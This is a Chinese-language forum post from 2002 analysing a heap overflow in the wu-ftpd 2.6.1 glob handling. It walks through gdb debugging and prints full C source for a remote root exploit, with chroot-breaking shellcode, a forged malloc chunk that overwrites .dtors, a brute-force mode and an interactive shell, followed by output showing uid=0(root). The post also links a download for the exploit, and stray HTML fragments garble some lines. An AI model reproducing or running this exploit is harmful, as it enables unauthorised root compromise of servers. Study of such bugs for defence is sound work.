永远的FLASH
级别:刀光雪影版主 威望:3 经验:1 货币:5852 体力: 来源:江苏 总发帖数:2264 注册日期:2002-02-11 |
|
查看 邮件 主页 QQ 消息 引用 复制 下载
wuftp2.6.1 remote
root exploit的下载地址 http://www.vertarmy.org/xploit/wuftpd261_exp.c
Wu-Ftpd 是一款由华盛顿大学开发的免费的Ftp服务器,被广泛应用于各种系统,尤其在linux上。Core-sdi
小组发现了该Ftp服务器的一个堆溢出漏洞,利用改漏洞可以导致某些内存被重写。
一、漏洞原理
由于Wu-Fpd使用了glob扩展功能,来提供"文件扩展"模式来对文件进行操作。在处理扩展模式过程中,Wu-Ftpd会建立一匹配的文件列表,这些数据存储在heap区,由malloc()分配,glob扩展函数简单的返回指针给列表,然后调用blkfree()函数进行内存释放。
由于glob 在处理0x7b“{”字符串的时候导致内存错误,攻击者就可以利用改漏洞来写内存。
二、漏洞演示
终端一
bash-2.04# ftp localhost
Connected to adserver.
220 adserver.hanstay.com FTP
server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
Name
(localhostscreen.width-300)this.width=screen.width-300'>owl): ftp
331 Guest login ok, send your complete e-mail address as
password.
Password: //输入若干字符A
230-The response
'AAAAAAAAAAAAAAAAAAAAAAAAAAAA' is not valid
230-Next time
please use your e-mail address as your password
230- for
example: joe@adserver
230 Guest login ok, access
restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
227 Entering Passive Mode (127,0,0,1,121,228)
421
Service not available, remote server has closed connection
终端2
bash-2.04# ps -ef | grep ftpd
ftp 21615 482 0 15:01 ? 00:00:00 ftpd: adserver:
anonymous/AAAAAA
root 21787 21136 0 15:02 pts/2 00:00:00
grep ftpd
bash-2.04# gdb /usr/sbin/in.ftpd 21615
GNU
gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are
welcome to change it and/or distribute
copies of it under certain conditions.
Type "show copying"
to see the conditions.
There is absolutely no warranty for
GDB. Type "show warranty" for details.
This GDB was
configured as "i386-redhat-linux"...(no debugging symbols found)...
/tmp/21615: No such file or directory.
Attaching to
program: /usr/sbin/in.ftpd, Pid 21615
Reading symbols from
/lib/libcrypt.so.1...done.
Loaded symbols for
/lib/libcrypt.so.1
Reading symbols from
/lib/libnsl.so.1...done.
Loaded symbols for /lib/libnsl.so.1
Reading symbols from /lib/libresolv.so.2...done.
Loaded symbols for /lib/libresolv.so.2
Reading
symbols from /lib/libpam.so.0...done.
Loaded symbols for
/lib/libpam.so.0
Reading symbols from
/lib/libdl.so.2...done.
Loaded symbols for /lib/libdl.so.2
Reading symbols from /lib/libc.so.6...done.
Loaded
symbols for /lib/libc.so.6
Reading symbols from
/lib/ld-linux.so.2...done.
Loaded symbols for
/lib/ld-linux.so.2
Reading symbols from
/lib/libnss_files.so.2...done.
Loaded symbols for
/lib/libnss_files.so.2
Reading symbols from
/lib/libnss_nisplus.so.2...done.
Loaded symbols for
/lib/libnss_nisplus.so.2
Reading symbols from
/lib/libnss_nis.so.2...done.
Loaded symbols for
/lib/libnss_nis.so.2
Reading symbols from
/lib/libnss_dns.so.2...done.
Loaded symbols for
/lib/libnss_dns.so.2
0x4014dc34 in __libc_read () from
/lib/libc.so.6
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x41414141) at malloc.c:3025 //free时发生错误
3025 malloc.c: No such file or directory.
(gdb) Quit
整理一下思路,可见在执行ls
~{的时候导致Wu-Ftpd中的某些函数指针被覆盖导致,导致系统free出错。让我们再来看看那些有问题的代码
if (restricted_user && logged_in &&
$1 && strncmp($1, "/", 1) == 0){
[...]
globlist = ftpglob(t);
[...]
}
else if (logged_in && $1 &&
strncmp($1, "~", 1) == 0) {
char **globlist;
globlist = ftpglob($1);
[...]
}
从Wu-Ftpd的源代码中我们可以得知,Ftpd首先通过通过ftpglob函数动态为文件分配一快缓冲区域,并返回一个globlist的指针。
if (globerr) {
reply(550, globerr);
$$ = NULL;
if (globlist) {
blkfree(globlist);
free((char *) globlist);
}
}
else if (globlist) {
$$ =
*globlist;
blkfree(&globlist[1]);
free((char *)
globlist);
}
然后通过blkfree
来释放globlist所指向的区域。由于在使用 ~{ 参数的时候使globlist指针被重写,导致在blkfree的时候出错。
让我们在做进一步的分析。
(gdb) b ftpglob
Breakpoint 1 at
0x8058c7a: file glob.c, line 113.
(gdb) c
Continuing.
Breakpoint 1, ftpglob
(v=0x8089170 "~{"} at glob.c:113
113 glob.c: No such file or
directory.
(gdb) x/20x 0x8089170
0x8089170:
0x40007b7e 0x40192d08 0x44444444 0x00000019
0x8089180:
0x40192ce8 0x40192ce8 0x41414141 0x00004141
0x8089190:
0x00000018 0x00000018 0x00000000 0x00000003
0x80891a0:
0x0000002f 0x00000000 0x00000000 0x00000019
0x80891b0:
0x6374652f 0x636f6c2f 0x69746c61 0x0000656d
在执行ls ~{ 的时候,v
指向0x8089170,然后就会返回给globlist.blkfree的时候会把这个地址转成0x8089170+24(要根据“ls
~{”执行方式来确定这个值,如果“ls ~{
”后面加上参数的话,这个值就是24+参数的长度),然后开始free。从这里我们可以看到在0x8089170+24
这个地址所存放的是0x41414141,导致blkfree时出错。
(gdb) c
Continuing.
Program received signal SIGSEGV,
Segmentation fault.
__libc_free (mem=0x41414141) at
malloc.c:3025
3025 malloc.c: No such file or directory.
(gdb)
可见我们可以精心构造一个块,并把这个块的地址填充到ftpglob函数地址+24的地方,blkfree在释放这个块的时候便会执行我们所构造的shellcode
获得一个shell。
三、演示exploits
/*
wu-ftpd 2.6.1 glob / malloc_chunk forge remote exploit
programmed by hsj : 01.11.29 ( 01.12.04 re revised )
notes:
this code depends to machine /
environment strongly.
you have to specify three (commandbuf
& rewrite & chunk addr) addresses...
two methods
exist in specifying these addresses.
*/
#include <stdio.h>
#include
<string.h>
#include <stdlib.h>
#include
<unistd.h>
#include <ctype.h>
#include
<sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include
<sys/time.h>
#include <netdb.h>
#include
<netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#define CMDBUF_ADDR 0x8084600 /*
command buffer addr */
#define CHUNK_ADDR 0x808957c /*
forged chunk addr */
/* this is return value of ftpglob() +
0x30 */
#define REWRITE_ADDR 0x8070b9c /* .dtors+4 */
#define ALIGN 5 /* strlen("PASS ") */
#define CRB_NUM_OFF 0x4e
#define CRB_NUM 0x02 /*
this is meaning chroot("../../"). */
/* it is good mostly at
0x10. however, 2.4.x */
/* kernel may complain, when the
distance from */
/* ftproot to realroot differs from it. */
#define PORT_OFF 0x90
#define NOP 0x90
#define debug
/* linux chroot break
+ find sock shellcode (198 bytes) by hsj */
char shellcode[]
=
"\xeb\x03\x5e\xeb\x0e\xe8\xf8\xff\xff\xff\x30\x62\x69\x6e\x31\x73"
"\x68\x2e\x2e\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x8d\x5e\x01\x31\xc0"
"\x88\x46\x04\x31\xc9\xfe\xc5\xb1\xed\xb0\x27\xcd\x80\x31\xc0\xb0"
"\x3d\xcd\x80\xfe\x0e\x31\xc0\xb0\x30\xfe\xc8\x88\x46\x04\x88\x46"
"\x09\x8d\x5e\x07\x88\x63\x03\x89\xdf\x8b\x13\x31\xc9\xb1\x10\x89"
"\x17\x83\xc7\x03\xe0\xf9\xb0\x3d\xcd\x80\x89\xf5\x83\xee\x20\x8d"
"\x46\x0c\x89\x46\x04\x89\xc7\x8d\x46\x1c\x89\x46\x08\x31\xdb\xb3"
"\x10\x89\x18\x31\xc9\xb1\xfe\x31\xc0\x89\xca\x49\x89\x0e\xb0\x66"
"\xb3\x07\x89\xf1\xcd\x80\x89\xd1\x85\xc0\x75\x08\x66\x81\x7f\x02"
"\x34\x12\x74\x04\xe2\xe1\xeb\x27\x49\x89\xcb\x31\xc9\xb1\x03\x31"
"\xc0\xb0\x3f\x49\xcd\x80\x41\xe2\xf6\x89\x6d\x08\x8d\x4d\x08\x8d"
"\x55\x0c\x31\xc0\x89\x02\x88\x45\x07\x89\xeb\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80";
int
connect_host(char *host,
int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;
sock =
socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1)
{
perror("socket()");
exit(-1);
}
hp = gethostbyname(host);
if(hp == NULL)
{
perror("gethostbyname()");
exit(-1);
}
memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_addr, hp->h_addr,
hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons(port);
if(connect(sock, (struct sockaddr *) &address,
sizeof(address)) == -1)
return -1;
return(sock);
}
void ftp_send(int sock,char *buf,int
len)
{
int n;
n =
write(sock,buf,len);
if(n!=len)
{
fprintf(stderr,"ftp_send: failed to send. expected %d, sent
%d\n",len,n);
shutdown(sock,2);
close(sock);
exit(-1);
}
}
int getshell(int sock)
{
fd_set fd_read;
char buff[1024],
*cmd="/usr/bin/id;\n";
int n;
FD_ZERO(&fd_read);
FD_SET(sock,
&fd_read);
FD_SET(0, &fd_read);
send(sock,
cmd, strlen(cmd), 0);
while(1)
{
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0)break;
if( FD_ISSET(sock, &fd_read) )
{
if((n=recv(sock,buff,sizeof(buff),0))<0)
{
//fprintf(stderr, "\nrecv error\n");
return -1;
break;
}
if(write(1,buff,n)<0)
{
printf("write error\n");
return -1;
}
}
if ( FD_ISSET(0, &fd_read) )
{
if((n=read(0,buff,sizeof(buff)))<0)
{
fprintf(stderr,"read error\n");
return -1;
break;
}
if(send(sock,buff,n,0)<0)return
-1;break;
}
usleep(10);
}
return 0;
}
int sh(int in,int out,int s)
{
char sbuf[128],rbuf[128];
int
i,ti,fd_cnt,ret=0,slen=0,rlen=0;
fd_set rd,wr;
fd_cnt = in > out ? in : out;
fd_cnt = s
> fd_cnt ? s : fd_cnt;
fd_cnt++;
for(;screen.width-300)this.width=screen.width-300'>
{
FD_ZERO(&rd);
if(rlen<sizeof(rbuf))
FD_SET(s,&rd);
if(slen<sizeof(sbuf))
FD_SET(in,&rd);
FD_ZERO(&wr);
if(slen)
FD_SET(s,&wr);
if(rlen)
FD_SET(out,&wr);
if((ti=select(fd_cnt,&rd,&wr,0,0))==(-1))
break;
if(FD_ISSET(in,&rd))
{
if((i=read(in,(sbuf+slen),(sizeof(sbuf)-slen)))==(-1))
{
ret = -2;
break;
}
else
if(i==0)
{
ret = -3;
break;
}
slen += i;
if(!(--ti))
continue;
}
if(FD_ISSET(s,&wr))
{
if((i=write(s,sbuf,slen))==(-1))
break;
if(i==slen)
slen = 0;
else
{
slen -= i;
memmove(sbuf,sbuf+i,slen);
}
if(!(--ti))
continue;
}
if(FD_ISSET(s,&rd))
{
if((i=read(s,(rbuf+rlen),(sizeof(rbuf)-rlen)))<=0)
break;
rlen += i;
if(!(--ti))
continue;
}
if(FD_ISSET(out,&wr))
{
if((i=write(out,rbuf,rlen))==(-1))
break;
if(i==rlen)
rlen = 0;
else
{
rlen -= i;
memmove(rbuf,rbuf+i,rlen);
}
}
}
return ret;
}
int ftp_recv(int sock,char *buf,int
buf_size,int f)
{
int n = 0;
char q;
if(f)
while((n=read(sock,&q,1))==1
&& q!='\n');
else
{
memset(buf,0,buf_size);
while((read(sock,&q,1))==1 && q!='\n')
{
if(n<(buf_size-2))
buf[n++] = q;
}
buf[n++] = q;
buf[n] = 0;
}
return
n;
}
void ftp_login(int sock,char
*u_name,char *u_pass)
{
char buf[2048];
sprintf(buf,"USER %s\n",u_name);
ftp_send(sock,buf,strlen(buf));
ftp_recv(sock,0,0,1);
sprintf(buf,"PASS
%s@attacker.co.jp\n",u_pass);
ftp_send(sock,buf,strlen(buf));
do
{
ftp_recv(sock,buf,sizeof(buf),0);
}while(memcmp(buf,"230 ",4)!=0);
return;
}
int try_to_send(char *host,int port, u_long
chunk_addr)
{
int sock,i,j,sock2;
struct
sockaddr_in si;
char *p,pass[480],buf[2048],chunk[48];
sock = connect_host(host,port);
if(sock<0)
{
fprintf(stderr,"can not
connect to %s.\n");
exit(-1);
}
ftp_recv(sock,0,0,1);
i =
sizeof(struct sockaddr_in);
if(getsockname(sock,(struct
sockaddr *)&si,&i)==-1)
{
perror("getsockname");
exit(-2);
}
shellcode[PORT_OFF+0]=(unsigned
char)((si.sin_port>>0)&0xff);
shellcode[PORT_OFF+1]=(unsigned
char)((si.sin_port>>8)&0xff);
shellcode[CRB_NUM_OFF] = CRB_NUM;
memset(pass,NOP,sizeof(pass));
for(i=0,p=shellcode;*p;p++)
{
if(*p==(char)0xff)
i++;
}
for(i=sizeof(pass)-(strlen(shellcode)+i)-1,p=shellcode;*p;p++)
{
pass[i++] = *p;
if(*p==(char)0xff)
pass[i++] = *p;
}
pass[0x50-ALIGN+0] = 0xeb;
pass[0x50-ALIGN+1] = 0x10;
pass[sizeof(pass)-1] = 0;
fprintf(stderr,"challenge login...\n");
ftp_login(sock,"ftp",pass);
fprintf(stderr,"ok.\n");
/* padding */
*(unsigned int *)&chunk[0]
= 0x61616161;
*(unsigned int *)&chunk[4] = 0x62626262;
*(unsigned int *)&chunk[8] = 0x63636363;
/* you need little endian cpu... */
*(unsigned int *)&chunk[12] = chunk_addr;//暴力猜测的地址
*(unsigned int *)&chunk[16] = 0xfffffffe;
*(unsigned int *)&chunk[20] = 0xffffffff;
*(unsigned int *)&chunk[24] = REWRITE_ADDR - 12;
//要覆盖的地址
*(unsigned int *)&chunk[28] = CMDBUF_ADDR +
0x50; //shellcode 地址
*(unsigned int *)&chunk[32]
= 0xffffffff;
*(unsigned int *)&chunk[36] = 0xfffffff1;
*(unsigned int *)&chunk[40] = 0xffffffff;
*(unsigned int *)&chunk[44] = 0;
for(i=0;i<2;i++)
{
strcpy(buf,"CWD ~/aabbbbcccc");
for(j=strlen(buf),p=chunk;*p;p++)
{
buf[j++]
= *p;
if(*p==(char)0xff)
buf[j++] = *p;
}
buf[j++] = '\n';
buf[j] = 0;
ftp_send(sock,buf,strlen(buf));
ftp_recv(sock,0,0,1);
}
#ifdef debug
printf("\npress any key\n");
getchar();
#endif
ftp_send(sock,"CWD
~{\r\n",10);
printf("\nattack.............!\n");
sock2 = getshell(sock);
if(sock2 < 0)
{
printf("\nattack
failed\n");
return -1;
}
else
{
sh(0,1,sock);
}
return 1;
}
int
brute_mode(char *host,int port, u_long
chunk_addr)
{
int i,k;
for(i=1;i<=4000;i++,chunk_addr++)//or
for(i=1;i<=4000;i++,chunk_addr += 4)
{
printf("try address at %x",chunk_addr);
k =
try_to_send(host,port,chunk_addr);
sleep(5);
if(k
> 0)//溢出成功停止循环
{
break;
}
}
return 1;
}
void
usage(char *progname)
{
int i = 0;
printf("Usage: %s hostname port\n", progname);
printf("\nwuftpd remote malloc/free exp\n"
"
\nmodify by dove<dove@vertarmy.org>\n"
"\nhttp://www.vertarmy.org\n");
exit(1);
}
int
main (int argc, char *argv[])
{
int k;
u_long chunk_addr = CHUNK_ADDR;
if(argc < 3)
usage(argv[0]);
k =
try_to_send(argv[1],atoi(argv[2]),chunk_addr);
if(k < 0)
{
printf("single mode failed\n");
printf("\ntry to brute mode\n");
k =
brute_mode(argv[1],atoi(argv[2]),chunk_addr);
if(k < 0)
{
printf("brute mode failed...\n");
exit(0);
}
}
return 1;
}
exploit运行情况:
sh-2.04$ ./exp locahost 21
challenge
login...
ok.
press any key
(gdb) b ftpglob
Breakpoint 1
at 0x8058c7a: file glob.c, line 113.
(gdb) c
Continuing.
Breakpoint 1, ftpglob
(v=0x8089508 "~{") at glob.c:113
113 glob.c: No such file or
directory.
(gdb) x/40x 0x8089508
0x8089508:
0x40007b7e 0x40192ce8 0x63636363 0x000000a9
0x8089518:
0x40192ce8 0x40192ce8 0x0808957c 0xfffffffe
0x8089528:
0xffffffff 0x4019314c 0x080897bc 0xffffffff
0x8089538:
0xfffffff1 0xffffffff 0x00000040 0x00000040
0x8089548:
0x61612f2f 0x62626262 0x63636363 0x61616161
0x8089558:
0x62626262 0x63636363 0x0808957c p1:0xfffffffe
0x8089568:
0xffffffff 0x4019314c 0x080897bc 0xffffffff
0x8089578:
0xfffffff1 p:0xffffffff 0x00000000 0x00000039
我们所构造的chunk
*(unsigned int *)&chunk[16]
= 0xfffffffe;
*(unsigned int *)&chunk[20] = 0xffffffff;
*(unsigned int *)&chunk[24] = REWRITE_ADDR - 12;
*(unsigned int *)&chunk[28] = CMDBUF_ADDR + 0x50;
让free开始free的chunk
*(unsigned int *)&chunk[32] =
0xffffffff;
*(unsigned int *)&chunk[36] = 0xfffffff1;
*(unsigned int *)&chunk[40] = 0xffffffff;
我们知道chunk_free 的时候会转换到mem-8 ,然后在开始free.
所以在这里我用用chunk[40]在内存中的地址,来覆盖ftpglob+24的地方.在这里是0x8089578+4
的地方.(由于第二次提交的chunk在传递到blkfree的时候已经不完整了,所以我们用第一次提交的chunk,也就是这里)修改我们的chunk_addr
然后再来执行一下.
(gdb) b ftpglob
Breakpoint 1 at
0x8058c7a: file glob.c, line 113.
(gdb) b blkfree
Breakpoint 2 at 0x80598e0: file glob.c, line 623.
(gdb) c
Continuing.
Breakpoint 1,
ftpglob (v=0x8089508 "~{") at glob.c:113
113 glob.c: No such
file or directory.
(gdb) x/40x 0x8089508
0x8089508:
0x40007b7e 0x40192ce8 0x63636363 0x000000a9
0x8089518:
0x40192ce8 0x40192ce8 0x0808957c 0xfffffffe
0x8089528:
0xffffffff 0x4019314c 0x080897fc 0xffffffff
0x8089538:
0xfffffff1 0xffffffff 0x00000040 0x00000040
0x8089548:
0x61612f2f 0x62626262 0x63636363 0x61616161
0x8089558:
0x62626262 0x63636363 0x0808957c 0xfffffffe
0x8089568:
0xffffffff 0x4019314c 0x080897fc 0xffffffff
0x8089578:
0xfffffff1 0xffffffff 0x00000000 0x00000039
0x8089588:
0x40192ce8 0x40192ce8 0x00000000 0x00000029
0x8089598:
0x40192ce8 0x40192ce8 0x00000000 0x00000000
(gdb) c
Continuing.
Breakpoint 2, blkfree
(av0=0x808951c) at glob.c:623//传递给blkfree
623 in glob.c
(gdb) x/40x 0x808951c
0x808951c: 0x40192ce8
0x0808957c 0x00000099 0x40192ce8
0x808952c: 0x40192ce8
0x080897fc 0xffffffff 0xfffffff1
0x808953c: 0xffffffff
0x00000040 0x00000040 0x61612f2f
0x808954c: 0x62626262
0x63636363 0x61616161 0x62626262
0x808955c: 0x63636363
0x0808957c 0xfffffffe 0xffffffff
0x808956c: 0x4019314c
0x080897fc 0xffffffff 0xfffffff1
0x808957c: 0xffffffff
0x00000000 0x00000039 0x40192ce8
0x808958c: 0x40192ce8
0x00000000 0x00000029 0x40192ce8
0x808959c: 0x40192ce8
0x00000000 0x00000000 0x00000000
0x80895ac: 0x00000000
0x00000000 0x00000000 0x00000098
切换窗口看看我们的exp
运行的怎么样。
sh-2.04$ ./exp localhost 21
challenge login...
ok.
press any key
attack.............!
uid=0(root)
gid=0(root) groups=50(ftp)
已经获取了root权限 :)
四、要点分析
由于该溢出我们不能直接构造chunk来获得权限,而是把chunk所在的地址传递过去,而且该值在不同环境中都不一样,提高了攻击的难度。要确定chunk_addr,shellcode,
retloc的地址,才能溢出成功。虽然这个exploits里有暴力猜测的功能,但是效果不一定明显,关键是确定chunk_addr,shellcode的地址,程序中的shellcode
和 .dtors 的地址只适用于redhat7.0系统,不同系统请另行调试,以上主要展示了一些调试技术,如有错误请指正。
[ 此消息由 永远的FLASH 在 2002-04-01.11:56:06 编辑过
] |